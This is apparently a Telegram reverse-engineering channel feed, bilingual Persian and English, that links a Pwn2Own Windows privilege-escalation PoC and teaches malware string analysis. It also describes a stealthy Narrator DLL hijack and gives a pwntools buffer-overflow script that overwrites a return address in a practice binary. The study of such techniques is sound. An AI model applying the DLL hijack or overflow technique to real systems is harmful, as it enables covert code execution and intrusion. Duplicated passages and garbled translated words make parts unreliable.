CVE-2025-50168-pwm2own-berlin-2025
https://github.com/D4m0n/CVE-2025-50168-pwn2own-berlin-2025/tree/main/P2O
@reverseengine
https://github.com/D4m0n/CVE-2025-50168-pwn2own-berlin-2025/tree/main/P2O
@reverseengine
GitHub
CVE-2025-50168-pwn2own-berlin-2025/P2O at main · D4m0n/CVE-2025-50168-pwn2own-berlin-2025
CVE-2025-50168 Exploit PoC — Pwn2Own Berlin 2025 - LPE(Windows 11) winning bug. - D4m0n/CVE-2025-50168-pwn2own-berlin-2025
❤4
This is a Project Working on Reverse Engineering the Apple G13 GPU Architecture
https://github.com/dougallj/applegpu
@reverseengine
https://github.com/dougallj/applegpu
@reverseengine
GitHub
GitHub - dougallj/applegpu: Apple G13 GPU architecture docs and tools
Apple G13 GPU architecture docs and tools. Contribute to dougallj/applegpu development by creating an account on GitHub.
❤4
Windows Installer File Read 0day
https://halove23.blogspot.com/2021/02/windows-installer-file-read-0day_12.html?m=1
@reverseengine
https://halove23.blogspot.com/2021/02/windows-installer-file-read-0day_12.html?m=1
@reverseengine
Forwarded from RadvanSec (Sin0x001)
تکنیک Narrator DLL Hijack
ویندوز ابزاری به نام Narrator دارد که برای دسترسی افراد دارای نیازهای ویژه (Accessibility) کاربرد دارد.
Narrator.exe هنگام اجرا یک DLL به نام MSTTSLocOneCoreEnUS.dll را بارگذاری میکند که باید در مسیر %windir%\system32\speech_onecore\engines\tts باشد.
اگر حملهکننده بتواند نسخه مخربی از این DLL را در همان مسیر قرار دهد، با اجرای Narrator کد مخرب اجرا خواهد شد (بدون نیاز به وارد کردن توابع export خاص).
برای فریب بیشتر، در اثبات مفهوم (PoC) ارائه شده، سازندگان یک نسخه از DLL را طوری تغییر دادهاند که Narrator در حالت «سکوت» اجرا شود (یعنی صدایی تولید نکند یا نشان دادن چیزی نداشته باشد) تا کاربر متوجه نشود که چیزی غیرعادی در حال رخ دادن است.
⭐️ @RadvanSec
ویندوز ابزاری به نام Narrator دارد که برای دسترسی افراد دارای نیازهای ویژه (Accessibility) کاربرد دارد.
Narrator.exe هنگام اجرا یک DLL به نام MSTTSLocOneCoreEnUS.dll را بارگذاری میکند که باید در مسیر %windir%\system32\speech_onecore\engines\tts باشد.
اگر حملهکننده بتواند نسخه مخربی از این DLL را در همان مسیر قرار دهد، با اجرای Narrator کد مخرب اجرا خواهد شد (بدون نیاز به وارد کردن توابع export خاص).
برای فریب بیشتر، در اثبات مفهوم (PoC) ارائه شده، سازندگان یک نسخه از DLL را طوری تغییر دادهاند که Narrator در حالت «سکوت» اجرا شود (یعنی صدایی تولید نکند یا نشان دادن چیزی نداشته باشد) تا کاربر متوجه نشود که چیزی غیرعادی در حال رخ دادن است.
⭐️ @RadvanSec
❤1
RadvanSec
Photo
Narrator DLL Hijack Technique
Windows has a tool called Narrator that is used for accessibility purposes.
When Narrator.exe runs, it loads a DLL called MSTTSLocOneCoreEnUS.dll, which should be located in the path %windir%\system32\speech_onecore\engines\tts.
If an attacker can place a malicious version of this DLL in the same path, running Narrator will execute malicious code (without the need to import specific export functions).
To further trickery, in the proof of concept (PoC) provided, the developers have modified a version of the DLL so that Narrator runs in a "silent" mode (i.e., does not make any sound or display anything) so that the user does not notice that something unusual is happening.
⭐️ @RadvanSec
Windows has a tool called Narrator that is used for accessibility purposes.
When Narrator.exe runs, it loads a DLL called MSTTSLocOneCoreEnUS.dll, which should be located in the path %windir%\system32\speech_onecore\engines\tts.
If an attacker can place a malicious version of this DLL in the same path, running Narrator will execute malicious code (without the need to import specific export functions).
To further trickery, in the proof of concept (PoC) provided, the developers have modified a version of the DLL so that Narrator runs in a "silent" mode (i.e., does not make any sound or display anything) so that the user does not notice that something unusual is happening.
⭐️ @RadvanSec
❤1
Forwarded from Hack Hive
https://medium.com/@horamah.71/static-code-analysis-and-the-role-of-ai-in-sast-3ac5d305daac
https://x.com/horamah_71/status/1985624183422746889?t=N4k77A7l30ZUHCp1RMcG5w&s=19
https://x.com/horamah_71/status/1985624183422746889?t=N4k77A7l30ZUHCp1RMcG5w&s=19
Medium
🔍Static Code Analysis and the Role of AI in SAST
Hey everyone! 👋 I’m @horamah.71, sharing my latest research, exploits, and security discoveries. Stay tuned for more deep dives!
Let’s…
Let’s…
❤4
ابزار strings یکی از ابزارهای پایه ای اما بسیار کاربردی در دنیای مهندسی معکوس فارنزیک و تحلیل بدافزاره این ابزار برای استخراج رشته های متنی قابل خوندن Printable Strings از فایل های باینری استفاده میشه
کاربرد
وقتی یک فایل باینری مثل Executable exe، ELF، dll و غیره رو باز میکنید بیشتر دیتا ها در قالب باینری و غیرقابل خوندنن اما بخش هایی از اونها ممکنه شامل رشتههای ASCII یا Unicode باشه
مثلا:
مسیر فایل ها
URL ها
اسم API ها
کلید های رجیستری
پیغامهای خطا
و حتی نام کاربر یا رمز عبور هارد کد شده
ابزار strings دقیقا همین قسمت ها رو بیرون میکشه
چجوری استفاده کنید
در لینوکس GNU binutils
مثال ساده:
این دستور تمام رشته های قابل چاپ ASCII با طول پیش فرض 4 کاراکتر یا بیشتر رو نشان میده
دستورات مهم
توضیح دستورات
-n <number>
تعیین حداقل طول رشته مثلا -n 6
-e l
سرچ برای رشته های یونیکد UTF-16LE مهم برای فایل های ویندوز
-t x
نمایش ادرس افست هر رشته به صورت هگز
-a
سرچ داخل کل فایل حتی بخش هایی که کامل نادیده گرفته میشن
-f نمایش نام فایل قبل از هر رشته خیلی مهمه برای تحلیل بدافزار
مثال های کاربردی
استخراج رشته های معمولی از فایل اجرایی
خروجی داخل فایل strings.txt ذخیره میشه تا بتونید راحت تر سرچ کنید
استخراج رشتههای Unicode
مخصوص ویندوز
چون تعداد زیادی از رشتهها در PE Files به صورت Unicode ذخیره میشن
نمایش رشته ها با آدرس در فایل
برای پیدا کردن URL ها و دیدن محل تقریبی اونها داخل فایل
استخراج همزمان از چند فایل
نشون میده توی کدوم فایل رشته ی مورد نظر رو دیدید
نکات برای تحلیل بدافزار
در تحلیل بدافزارها strings معمولا اولین قدمه
میتونید چیزهایی مثل:
دامنههای C2 (Command & Control)
مسیرهای فایلهای موقت
آدرسهای API مشکوک
رشته های رمزنگاری شده قبل از دیکد شدن رو شناسایی کنید
مثلا:
نکته
برای فایلهای PE یا ELF ابزارهایی مثل زیر مکمل strings هستن:
ابزار:
rabin2 -zz
استخراج رشته ها با جزئیات بیشتر
binwalk
برای استخراج و آنالیز باینری های Embedded
floss (FireEye)
نسخهی پیشرفته تر strings
که رشته های رمز شده و دیکد شده هم استخراج میکنه
The strings tool is one of the basic but very useful tools in the world of forensic reverse engineering and malware analysis. This tool is used to extract readable text strings Printable Strings from binary files.
Usage
When you open a binary file like Executable exe, ELF, dll, etc., most of the data is in binary format and unreadable, but parts of it may contain ASCII or Unicode strings.
For example:
File paths
URLs
API names
Registry keys
Error messages
And even hardcoded usernames or passwords
The strings tool extracts exactly these parts.
How to use
In Linux GNU binutils
Simple example:
This command shows all printable ASCII strings with a default length of four characters or more
Important commands
Explanation Commands
-n <number> Set the minimum string length, e.g. -n 6
-e l Search for Unicode UTF-16LE strings Important for Windows files
-t x Display the offset address of each string in hex
-a Search the entire file, even parts that are completely ignored
-f Display the file name before each string Very important for malware analysis
Useful examples
Extracting regular strings from an executable file
The output is saved in the strings.txt file so that you can search more easily
Extracting Unicode strings
Specific to Windows
Because a large number of strings are stored in PE Files as Unicode
Display strings with addresses in the file
To find URLs and see their approximate location in the file
Extract multiple files at once
Shows in which file you saw the string
Tips for malware analysis
In malware analysis, strings are usually the first step
You can find things like:
کاربرد
وقتی یک فایل باینری مثل Executable exe، ELF، dll و غیره رو باز میکنید بیشتر دیتا ها در قالب باینری و غیرقابل خوندنن اما بخش هایی از اونها ممکنه شامل رشتههای ASCII یا Unicode باشه
مثلا:
مسیر فایل ها
URL ها
اسم API ها
کلید های رجیستری
پیغامهای خطا
و حتی نام کاربر یا رمز عبور هارد کد شده
ابزار strings دقیقا همین قسمت ها رو بیرون میکشه
چجوری استفاده کنید
در لینوکس GNU binutils
strings [options] <filename>
مثال ساده:
strings malware_sample.exe
این دستور تمام رشته های قابل چاپ ASCII با طول پیش فرض 4 کاراکتر یا بیشتر رو نشان میده
دستورات مهم
توضیح دستورات
-n <number>
تعیین حداقل طول رشته مثلا -n 6
-e l
سرچ برای رشته های یونیکد UTF-16LE مهم برای فایل های ویندوز
-t x
نمایش ادرس افست هر رشته به صورت هگز
-a
سرچ داخل کل فایل حتی بخش هایی که کامل نادیده گرفته میشن
-f نمایش نام فایل قبل از هر رشته خیلی مهمه برای تحلیل بدافزار
مثال های کاربردی
استخراج رشته های معمولی از فایل اجرایی
strings program.exe > strings.txt
خروجی داخل فایل strings.txt ذخیره میشه تا بتونید راحت تر سرچ کنید
استخراج رشتههای Unicode
مخصوص ویندوز
strings -e l malware.exe > unicode_strings.txt
چون تعداد زیادی از رشتهها در PE Files به صورت Unicode ذخیره میشن
نمایش رشته ها با آدرس در فایل
strings -t x suspicious.dll | grep "http"
برای پیدا کردن URL ها و دیدن محل تقریبی اونها داخل فایل
استخراج همزمان از چند فایل
strings -f *.exe | grep "api"
نشون میده توی کدوم فایل رشته ی مورد نظر رو دیدید
نکات برای تحلیل بدافزار
در تحلیل بدافزارها strings معمولا اولین قدمه
میتونید چیزهایی مثل:
دامنههای C2 (Command & Control)
مسیرهای فایلهای موقت
آدرسهای API مشکوک
رشته های رمزنگاری شده قبل از دیکد شدن رو شناسایی کنید
مثلا:
strings sample.exe | grep -Ei "http|ftp|.onion|cmd|powershell"
نکته
برای فایلهای PE یا ELF ابزارهایی مثل زیر مکمل strings هستن:
ابزار:
rabin2 -zz
استخراج رشته ها با جزئیات بیشتر
binwalk
برای استخراج و آنالیز باینری های Embedded
floss (FireEye)
نسخهی پیشرفته تر strings
که رشته های رمز شده و دیکد شده هم استخراج میکنه
The strings tool is one of the basic but very useful tools in the world of forensic reverse engineering and malware analysis. This tool is used to extract readable text strings Printable Strings from binary files.
Usage
When you open a binary file like Executable exe, ELF, dll, etc., most of the data is in binary format and unreadable, but parts of it may contain ASCII or Unicode strings.
For example:
File paths
URLs
API names
Registry keys
Error messages
And even hardcoded usernames or passwords
The strings tool extracts exactly these parts.
How to use
In Linux GNU binutils
strings [options] <filename>
Simple example:
strings malware_sample.exe
This command shows all printable ASCII strings with a default length of four characters or more
Important commands
Explanation Commands
-n <number> Set the minimum string length, e.g. -n 6
-e l Search for Unicode UTF-16LE strings Important for Windows files
-t x Display the offset address of each string in hex
-a Search the entire file, even parts that are completely ignored
-f Display the file name before each string Very important for malware analysis
Useful examples
Extracting regular strings from an executable file
strings program.exe > strings.txt
The output is saved in the strings.txt file so that you can search more easily
Extracting Unicode strings
Specific to Windows
strings -e l malware.exe > unicode_strings.txt
Because a large number of strings are stored in PE Files as Unicode
Display strings with addresses in the file
strings -t x suspicious.dll | grep "http"
To find URLs and see their approximate location in the file
Extract multiple files at once
strings -f *.exe | grep "api"
Shows in which file you saw the string
Tips for malware analysis
In malware analysis, strings are usually the first step
You can find things like:
❤3
C2 (Command & Control) domains
Temporary file paths
Suspicious API addresses
Identify encrypted strings before decoding
For example:
Note
For PE or ELF files, there are tools like the following to complement strings:
Tools:
rabin2 -zz
Extract strings in more detail
binwalk
For extracting and analyzing embedded binaries
floss (FireEye)
A more advanced version of strings
that extracts both encrypted and decoded strings
@reverseengine
Temporary file paths
Suspicious API addresses
Identify encrypted strings before decoding
For example:
strings sample.exe | grep -Ei "http|ftp|.onion|cmd|powershell"
Note
For PE or ELF files, there are tools like the following to complement strings:
Tools:
rabin2 -zz
Extract strings in more detail
binwalk
For extracting and analyzing embedded binaries
floss (FireEye)
A more advanced version of strings
that extracts both encrypted and decoded strings
@reverseengine
❤3
کنترل return address
کنترل آدرس برگشت
با یک تمرین ساده ثابت میکنیم میتونیم آدرسِ برگشت برنامه رو تغییر بدیم و اجرای برنامه رو به جایی که خودمون میخوایم برگردونیم
مراحل:
آدرس تابع main رو به دست میاریم
با همون اندازه ای که قبلا با cyclic پیدا کردیم با بافر پر میکنیم
به جای آدرس برگشت قبلی آدرس main رو میذاریم تا برنامه دوباره از اول اجرا شه
همه این کار ها فقط در VM انجام بشه این آموزش صرفا برای یادگیری ساختار حافظه و دیباگه
کنترل آدرس برگشت آدرس main رو میگیریم بافر رو تا همون طول پر میکنیم و آدرس main رو میذاریم جای return
نتیجه: برنامه دوباره «Enter some text:» رو چاپ میکنه یعنی کنترل برگشت رو گرفتیم فقط توی VM اجرا کنید
کد فایل ret2main.py
)
توضیح هر خط:
offset = چند تا حرف باید بریزید تا به آدرس برگشت برسید
main_addr =
آدرسی که میخواید اجرای برنامه برگرده اونجا از nm یا gdb بگیرید
p64() فقط آدرس رو مبزاره توی قالب
8 بایتی که سیستم میفهمه
اگر بعد از فرستادن payload دیدید پیام «Enter some text:» دوباره اومد یعنی موفق شدید کنترل return رو بگیرید
اجرای دستورات gdb و بررسی رجیستر ها:
داخل ترمینال:
نکات
اگر vuln_plain با no-pie- ساخته شده باشه آدرسهای توابع ثابتن و با nm/gdb میتونید مستقیم از آدرس استفاده کنید
اگر باینری PIE فعال باشه آدرس ها رندوم ان باید ASLR رو خاموش کنید یا از leak استفاده کنید اما فعلا در این تمرین از نسخه no-pie- استفاده کنید
این تمرین اجرای کد مخرب نیست فقط اثبات overwrite و کنترل جریان هدف یادگیری ساختار حافظه و نحوه exploit سازی مرحله به مرحله است
Return address control
With a simple exercise, we prove that we can change the return address of the program and return the program execution to the place we want
Steps:
We get the address of the main function
We fill the buffer with the same size that we found before with cyclic
We put the main address in place of the previous return address so that the program can be executed again from the beginning
All these tasks should be done only in the VM. This tutorial is only for learning the memory structure and debugging
We get the return address control of the main address, fill the buffer to the same length and put the main address in place of return
Result: The program prints "Enter some text:" again, which means we got the return control. Just run it in the VM
Finding the address of the main function
The easiest way is with nm or inside gdb:
# Option A: with nm
# Similar output:
# 0000000000401136 T main
کنترل آدرس برگشت
با یک تمرین ساده ثابت میکنیم میتونیم آدرسِ برگشت برنامه رو تغییر بدیم و اجرای برنامه رو به جایی که خودمون میخوایم برگردونیم
مراحل:
آدرس تابع main رو به دست میاریم
با همون اندازه ای که قبلا با cyclic پیدا کردیم با بافر پر میکنیم
به جای آدرس برگشت قبلی آدرس main رو میذاریم تا برنامه دوباره از اول اجرا شه
همه این کار ها فقط در VM انجام بشه این آموزش صرفا برای یادگیری ساختار حافظه و دیباگه
کنترل آدرس برگشت آدرس main رو میگیریم بافر رو تا همون طول پر میکنیم و آدرس main رو میذاریم جای return
نتیجه: برنامه دوباره «Enter some text:» رو چاپ میکنه یعنی کنترل برگشت رو گرفتیم فقط توی VM اجرا کنید
پیدا کردن آدرس تابع main
راحتترین روش با nm یا داخل gdb:
# گزینه A: با nm
nm -C vuln_plain | grep " main$"
# خروجی مشابه:
# 0000000000401136 T main
# گزینه B: داخل gdb
gdb ./vuln_plain
(gdb) p main
# یا
(gdb) info address main
# آدرس رو یادداشت کنید مثلا: 0x401136
آدرس مثال بالا فرضیه ادرس واقعی رو از خروجی خودتون بگیر
کد فایل ret2main.py
#!/usr/bin/env python3
from pwn import *
exe = './vuln_plain' # فایل باینری که قبلا ساختید
context.binary = exe
def main():
p = process([exe]) #
برنامه رو اجرا کنید داخل VM
offset = 72 # <--
اینو با همون
عددی که با cyclic_find پیدا کردید پر کنید
main_addr = 0x401136 # <-- آدرس main از تابعnmیا gdb بذارید اینجا
# میسازیم یک payload ساده: n تا 'A' تا برسیم به همون
offset
# بعد 8 بایت آدرس main (p64) میریزیم تا return address رو overwrite کنیم
payload = b"A" * offset + p64(main_addr)
# برنامه منتظر ورودیه پیام اولیه رو میخونه:
p.recvuntil(b"Enter some text:")
p.sendline(payload) # payload رو میفرستیم
# اگر برگشته باشه به main دوباره همین پیام رو چاپ میکنه
# پس میتونیم چک کنیم که پیام دوباره اومد یا نه
try:
print(p.recvline(timeout=1)) # خروجی کوتاه رو چاپ کنید
except EOFError:
print("برنامه بسته شد یا چیزی برگشت نیومد")
if name == "main":
main(
)
توضیح هر خط:
offset = چند تا حرف باید بریزید تا به آدرس برگشت برسید
main_addr =
آدرسی که میخواید اجرای برنامه برگرده اونجا از nm یا gdb بگیرید
p64() فقط آدرس رو مبزاره توی قالب
8 بایتی که سیستم میفهمه
اگر بعد از فرستادن payload دیدید پیام «Enter some text:» دوباره اومد یعنی موفق شدید کنترل return رو بگیرید
اجرای دستورات gdb و بررسی رجیستر ها:
داخل ترمینال:
gdb ./vuln_plainید
(gdb) break vuln
(gdb) rub
# وقتی متوقف شد:
# داخل ترمینال دیگه:
python3 ret2main.py # تا payload ارسال بشه
# بعد در gdb:
(gdb) info registers
(gdb) x/40x $rsp
(gdb) bt
بعد از اجرای اسکریپت bt و مقدار RIP رو بررسی کنید باید آدرس main رو داخل RIP یا در برگشتی که اجرا میشه ببین
نکات
اگر vuln_plain با no-pie- ساخته شده باشه آدرسهای توابع ثابتن و با nm/gdb میتونید مستقیم از آدرس استفاده کنید
اگر باینری PIE فعال باشه آدرس ها رندوم ان باید ASLR رو خاموش کنید یا از leak استفاده کنید اما فعلا در این تمرین از نسخه no-pie- استفاده کنید
این تمرین اجرای کد مخرب نیست فقط اثبات overwrite و کنترل جریان هدف یادگیری ساختار حافظه و نحوه exploit سازی مرحله به مرحله است
Return address control
With a simple exercise, we prove that we can change the return address of the program and return the program execution to the place we want
Steps:
We get the address of the main function
We fill the buffer with the same size that we found before with cyclic
We put the main address in place of the previous return address so that the program can be executed again from the beginning
All these tasks should be done only in the VM. This tutorial is only for learning the memory structure and debugging
We get the return address control of the main address, fill the buffer to the same length and put the main address in place of return
Result: The program prints "Enter some text:" again, which means we got the return control. Just run it in the VM
Finding the address of the main function
The easiest way is with nm or inside gdb:
# Option A: with nm
nm -C vuln_plain | grep " main$"
# Similar output:
# 0000000000401136 T main
❤4🔥1
# Option B: Inside gdb
The address in the example above is the actual address, take it from your output
Code of the file ret2main.py
Denoscription of each line:
offset = how many characters to put to Get the return address
main_addr =
The address you want to return to from nm or gdb
p64() just writes the address in the
8-byte format that the system understands
If after sending the payload you see the message "Enter some text:" comes back, it means you have successfully taken control of the return
Executing gdb commands and checking the registers:
In the terminal:
After running the bt noscript and checking the RIP value, you should see the main address in the RIP or in the return that is executed
Notes
If vuln_plain is built with no-pie- The functions are fixed and you can use the address directly with nm/gdb
If the PIE binary is enabled, the addresses are random, you should turn off ASLR or use leak, but for now, use the no-pie- version for this exercise
This exercise is not about executing malicious code, just demonstrating overwrite and flow control. The goal is to learn the memory structure and how to exploit it step by step
@reverseengine
gdb ./vuln_plain# Note the address, e.g.: 0x401136
(gdb) p main
# or
(gdb) info address main
The address in the example above is the actual address, take it from your output
Code of the file ret2main.py
#!/usr/bin/env python3
from pwn import *
exe = './vuln_plain' # The binary file you created earlier
context.binary = exe
def main():
p = process([exe]) #
Run the program inside the VM
offset = 72 # <--
Fill this with the same
number you found with cyclic_find
main_addr = 0x401136 # <-- Put the address of main from nm or gdb here
# We create a simple payload: n to 'A' to reach the same
offset
# Then we put 8 bytes of the main address (p64) to overwrite the return address
payload = b"A" * offset + p64(main_addr)
# The program waits for input to read the initial message:
p.recvuntil(b"Enter some text:")
p.sendline(payload) # We send the payload
# If it has returned to main, it prints the same message again
# So we can check if the message came back or not
try:
print(p.recvline(timeout=1)) # Print the short output
except EOFError:
print("The program was closed or nothing was returned")
if name == "main":
main(
)
Denoscription of each line:
offset = how many characters to put to Get the return address
main_addr =
The address you want to return to from nm or gdb
p64() just writes the address in the
8-byte format that the system understands
If after sending the payload you see the message "Enter some text:" comes back, it means you have successfully taken control of the return
Executing gdb commands and checking the registers:
In the terminal:
gdb ./vuln_plain
(gdb) break vuln
(gdb) rub
# When it stops:
# In another terminal:
python3 ret2main.py # Until the payload is sent
# Then in gdb:
(gdb) info registers
(gdb) x/40x $rsp
(gdb) bt
After running the bt noscript and checking the RIP value, you should see the main address in the RIP or in the return that is executed
Notes
If vuln_plain is built with no-pie- The functions are fixed and you can use the address directly with nm/gdb
If the PIE binary is enabled, the addresses are random, you should turn off ASLR or use leak, but for now, use the no-pie- version for this exercise
This exercise is not about executing malicious code, just demonstrating overwrite and flow control. The goal is to learn the memory structure and how to exploit it step by step
@reverseengine
❤4🔥1👏1
Linux Kernel Hardening: Ten Years Deep
https://www.youtube.com/watch?v=c_NxzSRG50g
Slides:
https://static.sched.com/hosted_files/lssna2025/9f/KSPP%20Ten%20Years%20Deep.pdf
@reverseengine
https://www.youtube.com/watch?v=c_NxzSRG50g
Slides:
https://static.sched.com/hosted_files/lssna2025/9f/KSPP%20Ten%20Years%20Deep.pdf
@reverseengine
❤3👏1
XLSB: Analyzing a Microsoft Excel Binary Spreadsheet
https://clickallthethings.wordpress.com/2021/02/02/xlsb-analyzing-a-microsoft-excel-binary-spreadsheet/amp/?__twitter_impression=tru
@reverseengine
https://clickallthethings.wordpress.com/2021/02/02/xlsb-analyzing-a-microsoft-excel-binary-spreadsheet/amp/?__twitter_impression=tru
@reverseengine
❤3